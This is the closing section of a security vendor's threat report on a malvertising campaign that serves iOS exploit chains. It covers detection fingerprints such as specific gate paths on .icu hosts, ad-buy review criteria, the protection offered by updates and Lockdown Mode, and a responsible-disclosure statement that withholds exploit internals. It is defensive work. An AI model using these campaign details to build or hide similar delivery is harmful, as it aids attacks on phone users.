How can an ad network detect and block this campaign?
Match the gate fingerprints across a landing page's entire request tree, not just its redirect chain: /gooll/gooll.html, or anything under /expires/ served from a random .icu host. Domain blocklists go stale in about a day and a half; these fingerprints have held for two months. On the buy side, route any new advertiser combining a popunder format, iOS-only targeting below version 18 and a free-TLD landing domain to manual review before first spend.
Does updating an iPhone fully protect it? Updating closes the DarkSword branch outright. It does not confer immunity: a current device is routed to the second loader instead, which attempts exploitation regardless of version and which we could not map to any published CVE. Lockdown Mode is the meaningful control on both paths, because it disables the JIT and WebAssembly surfaces this class of chain is built on.
How do I find out whether this ran through my inventory?
If you already scan with us, the iOS Browser Exploit Attempt tag fires on every scan and was applied retroactively to historical traffic, so past exposure is already visible. If you do not, the indicator set above is enough to check your own logs — and we will share the precise machine-readable set on request.
Responsible disclosure
What we are withholding, and why.
Exploit internals. This report contains no primitives, memory offsets or deobfuscated exploit bodies from either family. It stops at the delivery layer, which is the part defenders need.
The repository. We do not name or link the GitHub repository the chain was leaked to, for the same reason TechCrunch declined to: the files are directly usable as-is. Nothing in this report shortens the path to a working exploit for anybody.
The six DarkSword vulnerabilities need no disclosure from us. They were reported to Apple by GTIG in late 2025, are patched as of iOS 26.3, and three of them sit in CISA's Known Exploited Vulnerabilities catalogue. Publishing the CVE mapping here adds nothing an attacker does not already have.
The second loader is the open question. It selects among version-specific exploit chains from its own Safari profile table, carries an ARM64 native stager, and we could map it to no published CVE and recover no version boundary. We have not established whether it targets anything Apple has already fixed.
Indicators here are defanged so that nothing in this post is clickable or matches a scanner byte-for-byte. The precise set goes to networks, researchers and vendors on request — ask for it here.
Kaminari Ad is an ad-verification platform. We scan live ad traffic for malvertising, scams and policy violations on behalf of networks and exchanges — and occasionally find something like this. If you have samples that fit this pattern, or want the full indicator set, reach us at [email protected].
Thanks to the compliance team at Kadam — an ad network in the same group of companies as Kaminari Ad — whose weeks of pattern-watching made this findable, and to our client TrafficStars for escalating it with enough detail to act on, and for agreeing to be named here.
Please spread this. Redistribution, translation, quoting at length and copying the figures are all actively encouraged — this is more useful to the industry the further it travels, and an indicator set nobody reads protects nobody. The only condition is attribution: name Kaminari Ad and link back to this page, so readers can reach the current version of the indicators. If you are republishing in full and want the source figures or the complete domain list, ask and we will send them.
- ios
- darksword
- malvertising
- cloaking
- exploit-chain
- ioc
- webkit
- mobile-security
- compliance